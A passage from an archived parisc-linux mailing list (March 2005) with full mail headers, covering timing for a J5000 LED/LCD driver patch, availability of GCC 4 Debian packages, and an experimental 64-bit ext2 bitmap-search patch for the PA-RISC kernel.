'flutter stop' interval patch gives the most consistent heartbeat of the=20
ideas that I've tried. The solution I suggested above causes the heartbeat =
to=20
become uneven when LAN/DISK IO is present still.

If the 100mS minimum LED illumination bothers people who have 'real' LEDs a=
s=20
opposed to LCD indicators, we can make it LCD only, of course.


Cheers,

David

--nextPart2160418.141bc5vEOP
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCRIekOIrGtzS07WgRAgjBAKChhoetnV/zfQMJeAkF4NYjn2c9BQCg0lqT
O/HRAK9mt45PhCRPpXPuqJk=
=lG8A
-----END PGP SIGNATURE-----

--nextPart2160418.141bc5vEOP--

--===============0372401009==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0372401009==--



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sat, 26 Mar 2005 00:13:49 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20050326071349.GB28972@colo.lackof.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<20050325062517.GH29361@colo.lackof.org>
	<200503251705.02441.dmp@davidmpye.dyndns.org>
	<200503252150.28207.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623717 13485 80.91.229.3 (22 Nov 2014 02:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 07:12:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 26 Mar 2005 08:12:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0BC77D670;
	Sat, 26 Mar 2005 00:13:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07000-01; Sat, 26 Mar 2005 00:13:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C8007D666;
	Sat, 26 Mar 2005 00:13:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3177D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 00:13:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06569-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 00:13:39 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 89B897D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 00:13:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 42D0229803C;
	Sat, 26 Mar 2005 00:13:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29473-02; Sat, 26 Mar 2005 00:13:49 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E04AA298010; Sat, 26 Mar 2005 00:13:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503252150.28207.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Cm43YmJTeSE5+76WZHQhaXN2IGRvb8C5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22499

On Fri, Mar 25, 2005 at 09:50:26PM +0000, David Pye wrote:
> On Friday 25 March 2005 17:05, David Pye wrote:
> > > Why not just update every 10ms and ditch all the "minimum on time" stuff?
> > > Can someone tell if an LED/LCD came on 5ms later than it should have
> > > been?
> 
> Ah, I remember now.
> 
> That's 100mS, not 10mS for a start ;)  You can't make the whole update 
> interval 100mS, of course, or you'll miss the heartbeats completely.

Sorry, I wasn't clear. I meant check if LED/LCD status needs to change
every 10ms. The msleep would still let us bang out 8 register writes,
one per HZ. Ie make the "lets see if activity is different now" check
less frequent so LED/LCD is either on or off long enough to be visible.

100ms seems a bit longer than I would like. But if that works, go for it.

> > There is a reason for this, though there may be a better way of doing it.
> >
> > If you remove it, and set the update interval to 10mS, what tends to happen
> > is that because each time you flip a symbol on the lcd you have to wait 2
> > jiffies (once before cmd reg, once before writing data reg), and sometimes
> > more, because the kernel may put you to sleep a bit longer than the time
> > you asked for,  is that the heartbeat starts skipping beats when the io/lan
> > leds are changing on/off all the time.

My point was
1) don't update LED/LCD state again until the previous update has completed.
   ie all the register writes have been sent.

2) we shouldn't touch Heartbeat register for LCD unless heartbeat needs to be updated.

I'm still really not clear why there is "flutter".  THe only reasonable case I can think
of is flutter is an artifact of the CPU busy doing "real" work and not servicing the
LED/LCD wq. i.e. the stress test to excercise networking/disk activity is causing the
CPU to work on lots of other tasks and it's taking more than a few jiffies to get back
to the LED/LCD wq.

> 
> Having spent the evening trying that, I've found that the 100mS minimum 
> 'flutter stop' interval patch gives the most consistent heartbeat of the 
> ideas that I've tried. The solution I suggested above causes the heartbeat to 
> become uneven when LAN/DISK IO is present still.

Yeah, 100ms is well within someone noticing that LED/LCD activity isn't
sync'd with LEDs on NIC or Disk. But I'm ok with that. If they got the real
LED, the display panel can be ignored.

> If the 100mS minimum LED illumination bothers people who have 'real' LEDs as 
> opposed to LCD indicators, we can make it LCD only, of course.

Sure. throw another patch out there! You can enumerate them...this is #3 or #4...

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Sat, 26 Mar 2005 09:55:21 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <16965.9081.148972.856329@gargle.gargle.HOWL>
References: <kfhwtrx2myr.fsf@csclub.uwaterloo.ca>
	<200503241619.j2OGJScZ000411@hiauly1.hia.nrc.ca>
	<20050324165947.GA29361@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623717 13490 80.91.229.3 (22 Nov 2014 02:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:17 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 08:55:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 26 Mar 2005 09:55:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C72357D63A;
	Sat, 26 Mar 2005 01:57:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07544-01; Sat, 26 Mar 2005 01:57:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79CBE7D63E;
	Sat, 26 Mar 2005 01:57:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF6BF7D639
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 01:57:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07305-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 01:57:09 -0700 (MST)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id D24DB7D635
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 01:57:08 -0700 (MST)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id JAA26026;
	Sat, 26 Mar 2005 09:55:28 +0100 (MET)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 445A4F217;
	Sat, 26 Mar 2005 09:55:28 +0100 (MET)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 16963-27; Sat, 26 Mar 2005 09:55:21 +0100 (MET) 11260
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Sat, 26 Mar 2005 09:55:21 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j2Q8tL2N021174;
	Sat, 26 Mar 2005 09:55:21 +0100 (MET)
In-Reply-To: <20050324165947.GA29361@colo.lackof.org>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zUY3YkUReSE5+76WZHQhaXN2IGRvb8CM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22500

Grant Grundler writes:
> On Thu, Mar 24, 2005 at 11:19:28AM -0500, John David Anglin wrote:
> ...
> > From a PA standpoint, GCC 4 is ready for serious testing.  All testsuite
> > bugs have been squashed in C and C++.
> 
> Is there a .deb or tarball available I can drop on a bunch of machines?

- gcc-snapshot can be found in unstable, although it was pointed out,
  it's not that recent (I can't upload this one every week without the
  risk beeing killed by buildd admins for slower architectures ;)

- You can get gcc-4.0 packages from experimental, just add
  deb http://http.us.debian.org/debian experimental main contrib
  to /etc/apt/sources.list.
  Provided that somebody is building and uploading these ...

Besides the recent gcc-snapshot build failure, I'm having problems
building the packages at all at the moment, there's no difference
using between sarge and unstable.

- if the build succeeds, every test case in the testsuite fails, due
  to expect(?) problems. lamont told me that's reproducible on another
  A500, seeing some messages on the serial console, but I can't see
  these messages. I'm currently running the A500 kernels from the
  parisc archives. palinux-a500-defconfig-2.6.{8.1-pa11,11-pa2,12-rc1-pa1}
  all show the same behaviour.

- The libjava build sometimes fails with an sh/bash error. Restarting
  the build usually fixes this.

- gnat doesn't build, even if you include some prebuilt files (which
  might be wrongly generated) from another build.

Besides these minor issues, the packages should be fine.

	Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ext3 perf patch#2
Date: Sat, 26 Mar 2005 03:35:40 -0700
Lines: 117
Approved: news@gmane.org
Message-ID: <20050326103540.GA31557@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623717 13492 80.91.229.3 (22 Nov 2014 02:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 10:34:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 26 Mar 2005 11:34:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B9967D671;
	Sat, 26 Mar 2005 03:35:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07544-10; Sat, 26 Mar 2005 03:35:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60ADB7D672;
	Sat, 26 Mar 2005 03:35:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1685A7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 03:35:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07544-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 03:35:31 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 808987D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 03:35:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5090629803C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 03:35:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31959-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 03:35:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E8B68298010; Sat, 26 Mar 2005 03:35:40 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yV83YlpEeSE5+76WZHQhaXN2IGRvb4Dc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22501

James Bottomley in a private conversation suggested our
ext2_test_bit() and ext2_find_next_zero_bit() might not
be counting bits the same way in the bitmap.

ext2_test_bit() is quite straight forward looks right to me.
But my brain wasn't grokking ext2_find_next_zero_bit().
Cloning it from sparc64 was easy to try...
Since the first attempted worked, I also applli

The result was rsync was able to clone from one
ext3 (whole disk) to another ext3 using rsync
at 5-10MB/s (both disks on the same SCSI bus).
This is *alot* better than the previous experience
of < 1MB/s. Since my ext3 test filesystems hadn't aged (been used)
very much, bitmap search is not much overhead.

If someone else has a disposable, mature ext3 file system
they can test the following patch on, that would be great.

BTW, this patch assumes a 64-bit kernel and is certainly
not intended to be committed as is. This is just
an experiment so far.

Patch is against 2.6.11-pa2 (NOT 2.6.12 - sorry)

grant


Index: include/asm-parisc/bitops.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/bitops.h,v
retrieving revision 1.14
diff -u -p -r1.14 bitops.h
--- include/asm-parisc/bitops.h	18 Feb 2005 14:22:09 -0000	1.14
+++ include/asm-parisc/bitops.h	26 Mar 2005 09:58:58 -0000
@@ -466,49 +466,47 @@ static __inline__ int ext2_test_bit(int 
 	return (ADDR[nr >> 3] >> (nr & 7)) & 1;
 }
 
-/*
- * This implementation of ext2_find_{first,next}_zero_bit was stolen from
- * Linus' asm-alpha/bitops.h and modified for a big-endian machine.
- */
 
-#define ext2_find_first_zero_bit(addr, size) \
-        ext2_find_next_zero_bit((addr), (size), 0)
-
-extern __inline__ unsigned long ext2_find_next_zero_bit(void *addr,
-	unsigned long size, unsigned long offset)
+static __inline__ unsigned long ext2_find_next_zero_bit(unsigned long *addr, unsigned long size, unsigned long offset)
 {
-	unsigned int *p = ((unsigned int *) addr) + (offset >> 5);
-	unsigned int result = offset & ~31UL;
-	unsigned int tmp;
+	unsigned long *p = addr + (offset >> 6);
+	unsigned long result = offset & ~63UL;
+	unsigned long tmp;
 
 	if (offset >= size)
 		return size;
 	size -= result;
-	offset &= 31UL;
-	if (offset) {
-		tmp = cpu_to_le32p(p++);
-		tmp |= ~0UL >> (32-offset);
-		if (size < 32)
+	offset &= 63UL;
+	if(offset) {
+		tmp = __swab64p((u64 *)p++);
+		tmp |= (~0UL >> (64-offset));
+		if(size < 64)
 			goto found_first;
-		if (tmp != ~0U)
+		if(~tmp)
 			goto found_middle;
-		size -= 32;
-		result += 32;
+		size -= 64;
+		result += 64;
 	}
-	while (size >= 32) {
-		if ((tmp = cpu_to_le32p(p++)) != ~0U)
-			goto found_middle;
-		result += 32;
-		size -= 32;
+	while(size & ~63) {
+		if(~(tmp = *(p++)))
+			goto found_middle_swap;
+		result += 64;
+		size -= 64;
 	}
-	if (!size)
+	if(!size)
 		return result;
-	tmp = cpu_to_le32p(p);
+	tmp = __swab64p((u64 *) p);
 found_first:
-	tmp |= ~0U << size;
+	tmp |= (~0UL << size);
+	if (tmp == ~0UL)        /* Are any bits zero? */
+		return result + size; /* Nope. */
 found_middle:
 	return result + ffz(tmp);
+
+found_middle_swap:
+	return result + ffz(__swab64((u64)tmp));
 }
+
 
 /* Bitmap functions for the minix filesystem.  */
 #define minix_test_and_set_bit(nr,addr) ext2_set_bit(nr,addr)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sat, 26 Mar 2005 15:14:41 +0000
Lines: 584
Approved: news@gmane.org
Message-ID: <200503261514.43287.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<200503252150.28207.dmp@davidmpye.dyndns.org>
	<20050326071349.GB28972@colo.lackof.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1161987071=="
X-Trace: ger.gmane.org 1416623717 13494 80.91.229.3 (22 Nov 2014 02:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 15:15:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 26 Mar 2005 16:15:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E41E77D66C;
	Sat, 26 Mar 2005 08:16:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10545-01; Sat, 26 Mar 2005 08:16:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E2DE7D66B;
	Sat, 26 Mar 2005 08:16:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CAD77D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:16:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10396-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:16:35 -0700 (MST)
Original-Received: from ranger.systems.pipex.net (ranger.systems.pipex.net
	[62.241.162.32])
	by free.linux.hp.com (Postfix) with ESMTP id F1B217D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:16:33 -0700 (MST)
Original-Received: from platinum (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by ranger.systems.pipex.net (Postfix) with ESMTP id BCF04E0000D7;
	Sat, 26 Mar 2005 15:14:57 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <20050326071349.GB28972@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2hk3Yo41eSE5+76WZHQhaXN2IGRvbwCP
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22502

--===============1161987071==
Content-Type: multipart/signed; boundary="nextPart2274873.1cVMcrt4Vo";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2274873.1cVMcrt4Vo
Content-Type: multipart/mixed;
  boundary="Boundary-01=_ixXRC6Q9HbROECu"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_ixXRC6Q9HbROECu
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 26 March 2005 07:13, Grant Grundler wrote:

> Sorry, I wasn't clear. I meant check if LED/LCD status needs to change
> every 10ms. The msleep would still let us bang out 8 register writes,
> one per HZ. Ie make the "lets see if activity is different now" check
> less frequent so LED/LCD is either on or off long enough to be visible.
>
> 100ms seems a bit longer than I would like. But if that works, go for it.

I did try reducing it to 50, and found that it caused heartbeat to become=20
irregular under heavy load.

> > > There is a reason for this, though there may be a better way of doing
> > > it.
> > >
> > > If you remove it, and set the update interval to 10mS, what tends to
> > > happen is that because each time you flip a symbol on the lcd you have
> > > to wait 2 jiffies (once before cmd reg, once before writing data reg),
> > > and sometimes more, because the kernel may put you to sleep a bit
> > > longer than the time you asked for,  is that the heartbeat starts
> > > skipping beats when the io/lan leds are changing on/off all the time.
>
> My point was
